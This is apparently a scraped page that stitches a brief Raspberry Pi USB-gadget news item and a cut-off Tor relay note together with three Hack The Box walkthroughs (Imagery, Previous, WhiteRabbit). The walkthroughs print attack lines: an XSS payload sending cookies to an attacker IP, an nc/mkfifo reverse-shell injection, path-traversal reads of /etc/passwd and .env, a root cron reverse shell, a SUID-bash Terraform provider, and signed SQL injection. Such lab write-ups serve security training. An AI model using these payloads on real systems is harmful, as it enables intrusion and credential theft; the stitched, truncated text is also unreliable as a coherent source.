Setting up access to a headless Raspberry Pi is one of those tasks that should take a few minutes, but for some reason always seems to take much longer. The most common method is to configure Wi-Fi access and an SSH service on the Pi before starting it, which can go wrong in many different ways. This author, for example, recently spent a few hours failing to set up a headless Pi on a network secured with Protected EAP, and was eventually driven to using SSH over Bluetooth. This could thankfully soon be a thing of the past, as [Paul Oberosler] developed a package for SSH over USB, which is included in the latest versions of Raspberry Pi OS.
The idea behind rpi-usb-gadget is that a Raspberry Pi in gadget mode can be plugged into a host machine, which recognizes it as a network adapter. The Pi itself is presented as a host on that network, and the host machine can then SSH into it. Additionally, using Internet Connection Sharing (ICS), the Pi can use the host machineβs internet access. Gadget mode can be enabled and configured from the Raspberry Pi Imager. Setting up ICS is less plug-and-play, since an extra driver needs to be installed on Windows machines. Enabling gadget mode only lets the selected USB port work as a power input and USB network port, not as a host port for other peripherals.
An older way to get USB terminal access is using OTG mode, which weβve seen used to simplify the configuration of a Pi as a simultaneous AP and client. If you want to set up headless access to Raspberry Pi desktop, we have a guide for that.
In this write-up, we will explore the βImageryβ machine from Hack The Box, categorised as a Medium difficulty challenge. This walkthrough will cover the reconnaissance, exploitation, and privilege escalation steps required to capture the flag.
Objective:
The goal of this walkthrough is to complete the βImageryβ machine from Hack The Box by achieving the following objectives:
User Flag:
After gaining an initial foothold through weaknesses in the web application, access is gradually expanded beyond a standard user account. By leveraging exposed application data and mismanaged credentials, lateral movement becomes possible within the system. This progression ultimately leads to access to a regular system user account, where the user flag can be retrieved, marking the successful completion of the first objective.
Root Flag:
With user-level access established, further analysis reveals misconfigured privileges and trusted system utilities that can be abused. By carefully interacting with these elevated permissions and understanding how system-level automation is handled, full administrative control of the machine is achieved. This final escalation allows access to the root account and the retrieval of the root flag, completing the machine compromise.
Enumerating the Imagery Machine
Reconnaissance:
Nmap Scan:
Begin with a network scan to identify open ports and running services on the target machine.
Port 22 (SSH): SSH is available for remote access and may be used later if valid credentials are obtained.
Port 8000 (HTTP): A Python-based web application is exposed on port 8000 and represents the primary attack surface for further enumeration.
Web Enumeration:
Web Application Exploration:
Features the appβs slogan βCapture & Cherish Every Momentβ in large white text, followed by a description: βYour personal online gallery, designed for simplicity and beauty. Upload, organise, and relive your memories with ease.β Below that, a white section titled βPowerful Features at Your Fingertipsβ with three icons (a landscape image frame, a padlock for security, and a rocket for speed/performance). The navigation bar at the top includes βHome,β βLogin,β and βRegister.β
Application Overview
Centred white form on blue background titled βRegisterβ. Fields: βEmail IDβ (placeholder: βEnter your email IDβ) and βPasswordβ (placeholder: βEnter your passwordβ with eye icon for visibility). Blue βRegisterβ button. ja
Fields pre-filled: βEmail IDβ as βdark@imagery.htbβ and masked βPasswordβ. Blue βRegisterβ button.
Similar to register, titled βLoginβ. Fields pre-filled: βEmail IDβ as βdark@imagery.htbβ and masked βPasswordβ. Blue βLoginβ button, plus βDonβt have an account? Register hereβ link. Top nav: βHomeβ, βLoginβ, βRegisterβ.
White background with title βYour Image Galleryβ. A card message: βNo images uploaded yet. Go to the βUploadβ page to add some!β Logged-in nav: βHomeβ, βGalleryβ, βUploadβ, βLogoutβ (red button).
Client-side JavaScript source code fetching and displaying admin bug reports from /admin/bug_reports with error handling and UI rendering logic.
JavaScript function handleDownloadUserLog redirects to /admin/get_system_log with a crafted log_identifier parameter based on username.
404 Not Found response when accessing the root /admin endpoint directly.
JSON access denied response (βAdministrator privileges requiredβ) when trying to access /admin/users as a non-admin user.
405 Method Not Allowed error on GET request to /report_bug, indicating the endpoint exists but requires a different HTTP method (likely POST).
Stored Cross-Site Scripting in Bug Reporting Feature on Imagery Machine
βReport a Bugβ form pre-filled with βbugNameβ: βdarkβ and the same XSS cookie-stealing payload in Bug Details, ready for submission.
Terminal session as user βdark@parrotβ running a local HTTP server (sudo python3 -m http.server 80) in the ~/Documents/htb/imagery directory to serve files/listen for requests on port 80.
Burp Suite capture of a successful POST to /report_bug, submitting JSON with βbugNameβ: βdarkβ and XSS payload in βbugDetailsβ (<img src=x onerror=βdocument.location=βhttp://10.10.14.133:80/?cookie=β+document.cookieβ>), response confirms submission with admin review message.
The response of successful POST to /report_bug, submitting an XSS payload in bugDetails to exfiltrate cookies via redirect to the attackerβs server.
Burp Suite capture of GET request to /auth_status returning JSON with logged-in user details (username βdark@imagery.htbβ, isAdmin false).
Local Python HTTP server log showing incoming request from target (10.129.3.10) with stolen admin session cookie in query parameter, plus 404 for favicon.
Burp Suite capture of GET to /admin/ endpoint returning standard 404 Not Found HTML error page.
Successful GET to /admin/users with stolen admin cookie returning JSON user list (admin with isAdmin:true, testuser with isAdmin:false).
JavaScript source snippet of handleDownloadUserLog function redirecting to /admin/get_system_log with the encoded log_identifier parameter.
Local File Inclusion Leading to Credential Disclosure
Failed LFI attempt on non-existent path returning 500 Internal Server Error with βError reading file: 404 Not Foundβ.
Successful LFI exploitation via /admin/get_system_log retrieving /etc/passwd contents through path traversal payload β../../../../../../etc/passwdβ.
Admin Panel interface (accessed with hijacked session) showing User Management with admin and testuser entries, plus empty Submitted Bug Reports section.
Retrieved db.json file contents via /admin/get_system_log path traversal, exposing user records with MD5-hashed passwords for admin and testuser, alongside an empty bug_reports array.
LFI retrieval of config.py source code exposing app constants like DATA_STORE_PATH=βdb.jsonβ, upload folders, and allowed extensions.
CrackStation online tool cracking the MD5 hash β2c65c8d7bfbca32a3ed42596192384f6β to plaintext βiambatmanβ.
Terminal output of failed SSH attempt as testuser@10.129.3.10 with publickey authentication denied.
Authenticating to the Imagery Application Using TestUserβs Credentials
Login page with Email ID pre-filled as βtestuser@imagery.htbβ and masked password field.
Empty Gallery page for logged-in user stating βNo images uploaded yet. Go to the βUploadβ page to add some!β
Upload New Image form with βlips.pngβ selected (max 1MB, allowed formats listed), optional title/description, group βMy Imagesβ, uploading as Account ID e5f6g7h8.
Achieving Shell Access via Remote Code Execution
Gallery view showing single uploaded image βlipsβ (red lips icon) with open context menu offering Edit Details, Convert Format, Transform Image, Delete Metadata, Download, and Delete.
Visual Image Transformation modal in crop mode with selectable box over the red lips image, parameters set to x:0 y:0 width:193 height:172.
Successful Burp POST to /apply_visual_transform with valid crop params returning new transformed image URL in /uploads/admin/transformed/.
Burp capture of POST to /apply_visual_transform with invalid crop βxβ:βidβ parameter resulting in 500 error (βinvalid argument for option β-crop'β).
Burp capture of POST to /apply_visual_transform injecting βcat /etc/passwdβ via crop βxβ parameter, resulting in 500 error exposing command output snippet.
Attacker terminal running netcat listener on port 9007 (nc -lvnp 9007).
Burp capture of POST to /apply_visual_transform with reverse shell payload in crop βxβ parameter (βrm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/bash -i 2>&1|nc 10.10.14.133 9007 >/tmp/fβ).
Successful reverse shell connection from target (10.129.3.10) to attacker listener on port 9007, landing as web@Imagery.
Directory listing of /var/backup showing an encrypted backup file web_20250806_120723.zip.aes.
Directory listing of /var/backups showing multiple compressed APT/dpkg state archives (.gz files).
Target starting Python HTTP server on port 9007 to serve the encrypted backup file.
Wget successfully downloading the encrypted backup file web_20250806_120723.zip.aes (22MB) from the targetβs HTTP server on port 9007.
File command confirming web_20250806_120723.zip.aes is AES-encrypted data created by pyAesCrypt 6.1.1.
Attempt to run dpyAesCrypt.py failing with ModuleNotFoundError for βpyAesCryptβ (case-sensitive import issue).
Successful pip3 user installation of pyaescrypt-6.1.1 package.
Failed execution of dpyAesCrypt.py due to ModuleNotFoundError for βtermcolorβ (missing import dependency).
Successful pip3 user installation of termcolor-3.3.0 package.
Custom pyAesCrypt brute-forcer discovering password βbestfriendsβ early in the wordlist.
Successful decryption of the AES backup using βbestfriendsβ, outputting the original web_20250806_120723.zip.
The cunzip extracting the decrypted backup archive, revealing full app source (api_*.py, app.py, config.py, db.json, utils.py), templates, system_logs, env, and compiled pycache files.
cat of decrypted db.json revealing user database with admin (hashed password), testuser (βiambatmanβ), and mark (another hashed password).
CrackStation results cracking MD5 hashes to βiambatmanβ, βsupersmashβ, and βspiderweb1234β (one unknown).
Successful su to mark using password βsupersmashβ, confirming uid/gid 1002.
Python one-liner (python3 -c βimport pty;pty.spawn(β/bin/bashβ)β) to spawn an interactive bash shell.
ls -al in /home/mark showing files including user.txt (likely containing the flag).
We can read the user flag by typing the βcat user.txtβ command
Escalate to Root Privileges Access to Imagery Machine
Privilege Escalation:
sudo -l reveals that user mark can run /usr/local/bin/charcol as root without a password (NOPASSWD).
charcol help output describing the CLI tool for encrypted backups, with commands (shell, help) and options (-quiet, -R for reset).
Failed charcol shell passphrase attempts (βbestfriendβ, βsupermashβ, βsupersmashβ) resulting in lockout after multiple errors.
sudo charcol -R resetting application password to default (βno passwordβ mode) after system password verification.
sudo charcol -R resetting application password to default (βno passwordβ mode) after system password verification.
Repeated sudo charcol -R successfully resetting to no password mode.
charcol interactive shell entry after initial setup, displaying ASCII logo and info message.
charcol help output explaining backup/fetch commands and βauto addβ for managing automated (root) cron jobs, with security warnings.
Attacker terminal running netcat listener on port 9007 in preparation for reverse shell.
Successful βauto addβ command creating a root cron job with reverse shell payload to attacker (10.10.14.133:9007), verified with system password βsupersmashβ.
Successful privilege escalation to root via a malicious cron job triggered a reverse shell, followed by reading the root flag from /root/root.txt
In this write-up, we will explore the βPreviousβ machine from Hack The Box, categorised as an easy difficulty challenge. This walkthrough will cover the reconnaissance, exploitation, and privilege escalation steps required to capture the flag.
Objective:
The goal of this walkthrough is to complete the βPreviousβ machine from Hack The Box by achieving the following objectives:
User Flag:
After thoroughly enumerating the Next.js application running on port 80, we discovered a critical path traversal vulnerability in the publicly exposed /api/download endpoint. Consequently, by crafting a specially designed payload, we were able to read sensitive system files. From these files, we extracted user information that revealed a valid account. Using the discovered credentials, we then gained SSH access as a standard user and, ultimately, successfully retrieved the user flag located in the home directory.
Root Flag:
With initial access secured, we enumerated the userβs sudo privileges and discovered the ability to run a specific Terraform command as root in a controlled directory. By leveraging a misconfiguration in the local Terraform setup, we first prepared a carefully crafted binary. Then, during the privileged Terraform operation, the binary was loaded, which in turn executed our payload and consequently granted elevated permissions. This allowed us to obtain a root shell and read the final root flag from the protected location.
Enumerating the Previous Machine
Reconnaissance:
Nmap Scan:
Begin with a network scan to identify open ports and running services on the target machine.
nmap-sC-sV-oAinitial10.10.11.83
Nmap Output:
ββ[dark@parrot]β[~/Documents/htb/previous]ββββΌ$nmap-sC-sV-oAinitial10.10.11.83# Nmap 7.94SVN scan initiated Sat Jan 10 03:28:37 2026 as: nmap -sC -sV -oA initial 10.10.11.83Nmapscanreportfor10.10.11.83Hostisup (0.045s latency).Notshown:998closedtcpports (conn-refused)PORTSTATESERVICEVERSION22/tcpopensshOpenSSH8.9p1Ubuntu3ubuntu0.13 (Ubuntu Linux; protocol2.0)| ssh-hostkey:| 2563e:ea:45:4b:c5:d1:6d:6f:e2:d4:d1:3b:0a:3d:a9:4f (ECDSA)|_25664:cc:75:de:4a:e6:a5:b4:73:eb:3f:1b:cf:b4:e3:94 (ED25519)80/tcpopenhttpnginx1.18.0 (Ubuntu)|_http-server-header:nginx/1.18.0 (Ubuntu)|_http-title:Didnotfollowredirecttohttp://previous.htb/ServiceInfo:OS:Linux; CPE:cpe:/o:linux:linux_kernelServicedetectionperformed.Pleasereportanyincorrectresultsathttps://nmap.org/submit/.# Nmap done at Sat Jan 10 03:28:48 2026 -- 1 IP address (1 host up) scanned in 11.13 seconds
Analysis:
22/tcp: Open and running OpenSSH 8.9p1 on Ubuntu, providing secure shell access for remote login. The host exposes ECDSA and ED25519 keys for authentication.
Port 80/tcp: Open and serving HTTP via Nginx 1.18.0 on Ubuntu. The server header confirms the version, and the default page redirects to http://previous.htb
Exploitation on the Previous Machine
Web Application Exploration:
The browser displays the root path / as a fully public marketing landing page for PreviousJS. The page features a tagline about βthe technology of yesterdayβ and highlights three main benefits: βNo-Side Renderingβ, βHeavyweightβ, and βOpt-Out Middlewareβ.
During Gobuster directory enumeration with a small lowercase wordlist, /signinin emerges as the only accessible endpoint returning 200 OK, representing the actual login page with the double βinβ. In contrast, /api, /docs, and numerous /api* variants (such as api3, api_test, apidoc, and apis) consistently return 307 Temporary Redirects. As a result, these requests are forwarded to the sign-in page with corresponding callbackUrl parameters.
Access to /signinin?callbackUrl=http://localhost:3000/api loads the login page (note the double βinβ in path) with preserved localhost callbackUrl in the URL, confirming the application accepts and reflects this misconfigured origin
Authentication Flow Analysis on Prevous Machine
When requesting the root path / with an If-None-Match header matching the current ETag, the server returns 304 Not Modified. Meanwhile, the response continues to include the next-auth.callback-url cookie set to http://localhost:3000/api/download.
This shows a GET request to /_next/data/β¦/docs.json (a typical Next.js client-side data fetch route for static/SSG pages). The server responds with 307 Temporary Redirect and the custom header x-nextjs-redirect: /api/auth/signin?callbackUrl=%2Fdocs, forcing unauthenticated users to the sign-in page.
When accessing /api, the request triggers a redirect chain (307 β 302) that ultimately leads to /api/auth/signinin?callbackUrl=%2Fapi. At the same time, the server sets the next-auth.callback-url cookie to http://localhost:3000/api/download. This behavior clearly indicates a NextAuth.js misconfiguration, caused by the application using the default development base URL.
Β CVE-2025-29927 Enumeration
GET request to /signinin?callbackUrl=http://localhost:3000/api returns 200 OK with the full login page HTML (title βSign In Inβ, input fields for Username and Password, and βSign inβ button), preserving the suspicious localhost callback URL in the query string and continuing to carry the next-auth.callback-url=http://localhost:3000/api/download cookie, confirming the application fully accepts and reflects the development-origin misconfiguration in the authentication flow.
On the page, Next.js static chunks and scripts (e.g., _buildManifest.js, _ssgManifest.js) are loaded. Consequently, the localhost callback remains in the URL, and the persistent next-auth.callback-url cookie continues to point to http://localhost:3000/api/download.
A GET request to the Next.js data route /_next/data/β¦/docs.json triggers a 307 Temporary Redirect. The server includes a custom x-nextjs-redirect header that points to /api/auth/signinin?callbackUrl=%2Fdocs, proving that the application protects even client-side data fetches for the documentation page with authentication middleware. The persistent next-auth.callback-url cookie continues to reference http://localhost:3000/api/download
Path Traversal & Sensitive File Disclosure
The Next.js data route /_next/data/β¦/docs.json responds with 200 OK and returns the full rendered HTML of the PreviousJS documentation page. Additionally, the response includes a highly repeated X-Middleware-Subrequest header, with the middleware appearing five times.
The Next.js data route /_next/data/β¦/docs.json returns 200 OK. It delivers the full rendered HTML of the documentation overview page. The content prominently shows navigation links to β/docs/getting-startedβ and β/docs/examplesβ
Accessing /docs/content/examples via GET triggers a 307 Temporary Redirect. The custom x-nextjs-redirect header forwards the request to /api/auth/signinin?callbackUrl=%2Fdocs%2Fcontent%2Fexamples. This clearly shows that the nested documentation path stays protected by authentication middleware.
Accessing the path /docs/content/examples via GET results in a 307 Temporary Redirect. The custom x-nextjs-redirect header directs the request to /api/auth/signinin?callbackUrl=%2Fdocs%2Fcontent%2Fexamples. This clearly confirms that authentication middleware protects the nested documentation sub-route.
Path Traversal Vulnerability Discovery
The request includes a persistent next-auth.callback-url localhost cookie and repeated x-middleware-subrequest headers, indicating that the /api/download route bypasses authentication controls even though other application routes remain protected.
The response body contains the full contents of /etc/passwd. Exposed entries include standard system users such as root, bin, daemon, lp, sync, shutdown, halt, mail, uucp, operator, games, gopher, ftp, and nobody. Custom users like node (UID 1000) and nextjs (UID 1001) are also disclosed.
Sensitive File Disclosure
A request to /api/download?example=../../../../../../../../app/.env return a 200 OK response. The server replies with Content-Type: application/zip and a Content-Disposition header specifying filename=".env". This shows that the endpoint packages the requested file as a downloadable archive.
Accessing /api/download?example=../../../../../../../../app/.next/routes-manifest.json results in a 200 OK response. The server returns Content-Type: application/zip along with a Content-Disposition header specifying filename="routes-manifest.json".
Interaction with /api/download?example=../../../../../../../../app/.next/server/pages/api/auth/[...nextauth].js produces . Within the returned archive, the compiled NextAuth API route handler is exposed. This demonstrates that internal authentication logic can be retrieved as a downloadable file.
This leak confirms the intended credentials for login are:
Username: jeremy
Password: MyNameIsJeremyAndILovePancakes (as defined in ADMIN_SECRET)
Initial Access via SSH on Previous Machine
Successful SSH login as user jeremy to previous.htb (10.10.11.83) using the password obtained from the leaked NextAuth credentials code (MyNameIsJeremyAndILovePancakes), landing in a standard Ubuntu 22.04.5 LTS shell
Command execution on the target as user jeremy via SSH: cat user.txt displays the standard user flag format string
Escalate to Root Privileges Access
Privilege Escalation:
After running sudo -l as user jeremy on the target and entering the account password, the command reveals the following sudo privileges.
Matching Defaults entries include env_reset, env_delete+=PATH, mail_badpass, secure_path restricted to standard system bins, and use_pty.
User jeremy may run the following command as root without password: (root) /usr/bin/terraform -chdir=/opt/examples apply
Running /usr/bin/terraform without arguments as user jeremy displays the full Terraform CLI help output. The behavior confirms that Terraform is installed on the system. Its binary is accessible at /usr/bin/terraform.
Terraform as an InfrastructureβasβCode Tool
Terraform is an infrastructureβasβcode (IaC) tool created by HashiCorp.
In other words, Terraform allows you to define and manage infrastructure through configuration files rather than manually clicking through dashboards.
The listing confirms that Jeremy has full control over his home directory and Terraform-related files relevant to the sudo rule. Direct read access to the user flag is available without requiring privilege escalation.
The configuration defines a dev_overrides block. This forces Terraform to load a local provider binary from /usr/local/go/bin.
Verification confirms that /bin/bash exists on the system. Typical permissions are set for a default shell on an Ubuntuβbased machine.
This file is clearly the intended local privilege escalation vector.
Commands executed as user jeremy: gcc dark.c -o terraform-provider-examples compiles the fixed exploit source into a binary named terraform-provider-examples, followed by chmod +x terraform-provider-examples to make it executable.
Placement in /usr/local/go/bin allows Terraform to load the provider during the apply operation in /opt/examples. The dev_overrides setting in .terraformrc triggers this behavior. Together, these actions complete the setup for root privilege escalation.
Executing sudo /usr/bin/terraform -chdir=/opt/examples apply as user jeremy (after a password prompt) runs successfully as root, displaying the Terraform warning about active provider development overrides pointing to /usr/local/go/bin. Terraform refreshes state, finds no changes needed, and completes the apply with 0 resources added/changed/destroyed. The output confirms the custom provider was loaded without errors, and the malicious binary executed its payload (making /bin/bash SUID root), achieving full root privilege escalation via the dev override and sudo rule.
As a result of the exploit, the presence of s in both the owner and group execute bits (rwsr-sr-x) confirms that /bin/bash is now SUID root and SGID root. Consequently, any user can execute it and immediately gain a root shell, for example, by running bash -p. This is the direct result of the successful execution of the malicious Terraform provider binary, completing the root privilege escalation on the machine.
Execution of /bin/bash -p as user jeremy immediately spawns a new bash shell with the prompt changing to bash-5.1#, indicating successful privilege escalation to root shell via the now-SUID /bin/bash binary.
Yesterday I bought myself a new VPS. Why not? Also because the other three I have are already at full capacity.
I was a Tor relay operator twice in the past, for several years each time. I have now decided to gather all my notes together and review the project requirements once again. I have set up a new relay, hoping that the third time
In this writeup, we will explore the βWhiteRabbitβ machine from Hack The Box, categorized as an easy difficulty challenge. This walkthrough will cover the reconnaissance, exploitation, and privilege escalation steps required to capture the flag.
Objective:
The goal of this walkthrough is to complete the βWhiteRabbitβ machine from Hack The Box by achieving the following objectives:
User Flag:
The user flag began with a publicly accessible Uptime Kuma guest dashboard that inadvertently exposed internal service names and subdomains, including Wiki.js, Gophish, and n8n. A leaked n8n workflow JSON file on the unauthenticated Wiki.js instance revealed the exact webhook endpoint, the hardcoded HMAC-SHA256 secret, and a vulnerable email parameter prone to blind SQL injection. This dump uncovered the restic repository password from bobβs command history. Leveraging bobβs NOPASSWD sudo privilege for restic, a snapshot was restored containing bobβs private SSH key from /dev/shm. After gaining access as bob, the same restic privilege was abused again to dump a root-level snapshot that included morpheusβs private SSH key. Finally, SSH access as morpheus allowed reading of the user.txt flag.
Root Flag:
From the morpheus shell, exploration revealed a custom SUID binary at /opt/neo-password-generator/neo-password-generator. The binary was transferred off-box and reverse-engineered, exposing a predictable pseudorandom password generator that used srand() seeded directly from a command-line argument. A signed integer overflow in the seed calculation (1725028842 * 1000 + add) created a small, predictable negative seed space. The binary was faithfully recreated locally, and a brute-force script generated candidate passwords until a valid one was found, granting SSH access as neo. Once inside as neo, sudo -l revealed full passwordless sudo privileges ((ALL : ALL) ALL). A simple sudo su elevated to root, allowing direct access to root.txt and completing the box.
Enumerating the Machine
Reconnaissance:
Nmap Scan:
Begin with a network scan to identify open ports and running services on the target machine.
22/tcp (SSH): Standard OpenSSH service on Ubuntu, likely requiring valid credentials for remote access.
80/tcp (HTTP): Caddy web server redirecting to whiterabbit.htb, indicating name-based virtual hosting.
2222/tcp (SSH): Secondary OpenSSH instance on a non-standard port, suggesting an alternate or restricted access path.
Web Enumeration:
Perform web enumeration to discover potentially exploitable directories and files.
Visiting http://whiterabbit.htb, weβre presented with the public landing page of βWhite Rabbit β Pentesting Servicesβ, a professional marketing site featuring a stylised rabbit mascot and sections about their penetration testing offerings.
Browsing the βLatest Newsβ section on the main whiterabbit.htb site, we see a blog-style update explicitly mentioning the use of Uptime Kuma for uptime and network monitoring during client pentesting engagements, directly confirming its deployment.
Running Gobuster in VHOST enumeration mode against whiterabbit.htb using a medium-sized subdomain wordlist, the tool completes its scan with nearly 5,000 entries tested and reports no additional virtual hosts discovered.
Executing ffuf with Host-header fuzzing (Host: FUZZ.whiterabbit.htb) and filtering for non-zero response sizes, we successfully identify a hidden virtual host that returns a 302 redirect
Initial Web Exposure via Uptime Kuma
Accessing http://status.whiterabbit.htb/dashboard displays the Uptime Kuma login page with a standard username/password form and a βRemember meβ option.
Uptime Kuma β Open-Source Uptime Monitoring
Uptime Kuma is a self-hosted, open-source monitoring tool that tracks the uptime and performance of websites, servers, and online services. It provides a real-time web dashboard, historical statistics, and alerts via channels like email, Discord, or Slack when services go down. Supporting multiple protocols such as HTTP(S), TCP, and Ping, it lets users monitor critical systems without relying on third-party services, giving full control over their data and notifications.
Viewing the source of http://status.whiterabbit.htb/dashboard, we see the standard Uptime Kuma login page source, featuring typical meta tags, Vue.js bundles, and the characteristic βUptime Kuma/titleβ noscript message prompting JavaScript enablement.
When you visit https://n8n.io (as the status page monitoring reveals), you see the official landing page for n8n, a fair-code workflow automation platform that White Rabbit runs in production.
Discover the uptime version
Inspecting the bundled JavaScript at /assets/index-CYsZUV7d.js, we quickly spot the hardcoded frontendVersion string returning β1.23.13β
The official Uptime Kuma public status page provides real-time visibility into the operational state of monitored systems. It displays uptime metrics, incident history, and performance data, allowing stakeholders to quickly assess service health and track any disruptions without requiring authentication.
Trying /status at http://status.whiterabbit.htb/status returns a blank page, but based on the Uptime Kuma demo, itβs probably a general status endpoint.
Discovery of Internal Services
An unauthenticated Uptime Kuma page at /status/temp publicly lists all monitored services as operational.
Wiki.js Information Disclosure
When you land on http://a668910b5514e.whiterabbit.htb, Wiki.js greets you with its clean, modern homepage. A visible βToDoβ page lists just one item: the staff still needs to add authentication.
When you visit http://ddb09a8558c9.whiterabbit.htb, Gophish welcomes you with its clean login page. This open-source phishing framework displays only the iconic fishing-hook logo and a straightforward βUsername / Passwordβ sign-in form.
GoPhish Webhooks workflow
An internal Wiki.js article at /gophish_webhooks documents Gophishβn8n workflows, including screenshots and the full exported JSON.
Diving deeper into the leaked workflow notes, we read the full explanation of signature processing, user validation, phishing-score updates, and the existence of a debug node clearly labelled βDEBUG: REMOVE SOONβ.
The exported n8n documentation includes a legitimate Gophish POST example with the required signature header and a βClicked Linkβ payload.
When you save the leaked n8n workflow locally, the suggested filename βgophish_to_phishing_score_database.jsonβ immediately reveals its purpose.
n8n Webhook Authentication Bypass
Visiting the n8n instance at http://28efa87fdf.whiterabbit.htb, weβre presented with the standard n8n login screen prompting for email and password, along with a βCritical update availableβ banner.
When you attempt to call the raw webhook URL directly at /webhook/d96af3a4-21bd-4bcb-bd34-37bfc67dfdid, n8n returns a 404 JSON response.
SQL Injection via Signed Webhook
Sending a raw GET request to the same webhook path returns another 404 with the same helpful error message and a hint to activate the workflow via the top-right toggle.
The replayed webhook returned 200 OK with βUser is not in database,β indicating an active endpoint that rejected the test payload.
The exported workflow includes βno signatureβ and βinvalid signatureβ branches that expose plain-text errors for missing or incorrect x-gophish-signature headers.
A leaked n8n workflow node exposes a hardβcoded SHAβ256 HMAC secret for Gophish webhook signing.
Generating an HMAC-SHA256 Signature from a Minified JSON Payload Using CyberChef
Using CyberChef, we generate the correct HMAC-SHA256 by signing the minified JSON body with the UTF-8 secret jBiTicmv7gxc6IS. This produces the signature 2db3eee889e9ee285ce57acbe51caae7dd4863ab9cadf21be4262be8f9fb5ff7.
The finalised payload includes the correct secret, minified JSON, and a valid HMAC, enabling data extraction or command execution via OUTFILE.
Testing Request Integrity with Burp Suite
We craft the first request in Burp using the original payload and an incorrect signature. The server returns the expected βProvided signature is not validβ response.
We used CyberChef to recreate the minified JSON and compute a valid HMAC for the malicious payload.
A basic SQLi in the email field using ExtractValue returned a partial database list via an error message.
When you send the fully signed SQL injection request, the server responds with another detailed MySQL error.
We send a signed SQL injection payload to the n8n webhook. This triggers an XPath error that leaks all table names in the phishing database, including victims and campaigns. The still-active Gophish β n8n β MySQL chain confirms full blind SQLi exploitation with valid HMAC authentication.
We execute the final signed payload to extract full command history entries. These include usernames and timestamps, retrieved through the still-active n8n webhook β MySQL injection chain.
Opening the sql.py exploit script reveals a clean, fully automated Python tool. It loops 1,500 times to blind-extract the entire temp.command_log table, including IDs, commands, and dates.
Running the python3 sql.py script, we observe it quickly cycling through timestamps from August 30, 2024. It appears to be enumerating entries from the leaked temp.command_log table.
Credential Discovery from Command Logs
On Parrot OS, we install Restic with sudo apt install restic, fetching the latest version from the official repository. It is now ready to interact with White Rabbitβs backup system.
Attempting to use Restic without proper configuration results in a fatal error. It cannot reach http://75951e6ff.whiterabbit.htb/config, confirming the backup server runs on that subdomain.
To authenticate with the Restic repository, we create a password file containing ygcsvcuMdfZ89yaRL1TKhe5jAmth7vvxw and set its permissions to 600. We then export the RESTIC_REPOSITORY and RESTIC_PASSWORD_FILE environment variables.
Running restic snapshots, we confirm a single snapshot exists: ID 272cad5 from 2025-03-06, tagged with the path /dev/shm/bob/ssh.
Lateral Movement to bob
Using restic restore latest, we authenticated and restored snapshot 272cad5 from /dev/shm/bob/ssh on the remote repository.
Landing inside the restored snapshot, we find ourselves in /home/dark/Documents/htb/whiterabbit/restored_data/dev/shm/bob/ssh β a clear sign weβve successfully recovered bobβs SSH directory from a restic backup.
Landing in the restored snapshot directory, we see a single file: bob.7z β the compressed archive containing bobβs SSH credentials that was accidentally left in /dev/shm.
Recovering Credentials from the 7-Zip Archive
Attempting to crack the 7z archive with 7zzjohn, we hit the classic βCanβt locate Compress::Raw::Lzmaβ error** because the required Perl module is missing on Parrot OS.
We install the missing LZMA Perl module with sudo apt install libcompress-raw-lzma-perl, fixing 7zz for John and allowing clean hash extraction.
We used 7zz john to crack the 7z, extracted the contents, and saved Bobβs password hash to hash.txt.
Finally, we dumped the cracked hash and viewed it with cat hash.txt, revealing Bobβs full password hash: $7z$.... Strictly unnecessary at this point, but satisfying to confirm.
John The Ripper quickly identifies the password as lq2w3e4r5t6y (a common keyboard-walk pattern shifted down one row, present in rockyou).
Inspecting Contents of bob.7z
Extracting the 7z archive with 7z x, we successfully decompress bob.7z after providing the password, revealing bobβs private key and config files.
Listing the restored directory post-extraction, we now have bob, bob.7z, bob.pub, config, and hash.txt β everything we need to own the box.
Pivoting to bob over SSH
Fixing permissions and SSHing directly as bob, we run chmod 600 bob and ssh -i bob bob@10.10.11.63 β instant shell, no password needed.
Checking bobβs sudo privileges, we run sudo -l and discover bob can run /usr/bin/restic as root with NOPASSWD β the golden ticket for privilege escalation.
Successfully initializing bobβs own local restic repository, we create dark at f22eeb5f29 after providing a valid password, ready for our own backups.
Running restic backup /root as bob with full sudo privileges, we create a new snapshot 2c446829 of the entire root directory β adding 4 new files and 3 new directories (including /root/morpheus and its keys) to our personal repository dark, all without ever needing rootβs password.
Listing the latest snapshot 2c446829 as bob, we see a full backup of /root including .bashrc, .profile, .ssh, and crucially /root/morpheus and /root/morpheus.pub.
Dumping morpheusβs private key from the root snapshot, we use restic dump on path /root/morpheus and extract the full OpenSSH private key β confirming we now own root.
Pivot to morpheus
Viewing the recovered Morpheus private key locally, we can morpheus and stare at a pristine OpenSSH private key β root access is now just an SSH away.
SSHing in as morpheus using the recovered key, we successfully authenticate to morpheus@10.10.11.63 and land directly on the minimized Ubuntu 24.04 system.
Landing the final blow as morpheus on WhiteRabbit, we run cat user.txt and reveal the user flag
Escalate to Root Privileges Access
Privilege Escalation:
Failing sudo as morpheus, we repeatedly get βSorry, try againβ β confirming no easy password reuse and forcing us to look deeper for privilege escalation.
SUID Binary Discovery
Exploring /opt as morpheus, we discover the neo-password-generator directory containing a single executable β clearly the SUID binary weβre hunting.
Reverse Engineering the Binary
SCP-ing the neo-password-generator binary back to our machine, we successfully pull the 15KB ELF for static and dynamic analysis.
Checking the file type of neo-password-generator, we confirm itβs a 64-bit LSB pie executable, dynamically linked, not stripped β perfect for reverse engineering.
PRNG Design Analysis
Vulnerability 1: Integer Truncation in Seed Calculation (Critical Exploit Path)
The seed is calculated as tv_sec * 1000 + tv_usec / 1000, producing a 64-bit millisecond timestamp (approximately 1.7 trillion in late 2025). While this value fits safely within a signed 64-bit integer, it is commonly truncated when passed to srand(), either by casting to a 32-bit unsigned integer or via a modulo operation. This truncation silently discards the higher bits, reducing the effective seed space from trillions of possibilities to at most 4.29 billion, and often far fewer in practice. As a result, what appears to be a large entropy source becomes a manageable brute-force space, making this the primary exploitation vector.
Vulnerability 2: Predictable Seed from Low-Entropy Source
The seed relies entirely on the current system time in milliseconds, which provides very little entropy. An attacker with approximate knowledge of when the program was executedβderived from logs, challenge timing, or user interactionβcan constrain the search window to a narrow range such as Β±10β60 seconds. This reduces the number of candidate seeds to roughly 20,000β120,000. Because PRNGs are deterministic, testing this limited range is sufficient to reliably reproduce the generated output.
Vulnerability 3: Use of Weak, Non-Cryptographic PRNG
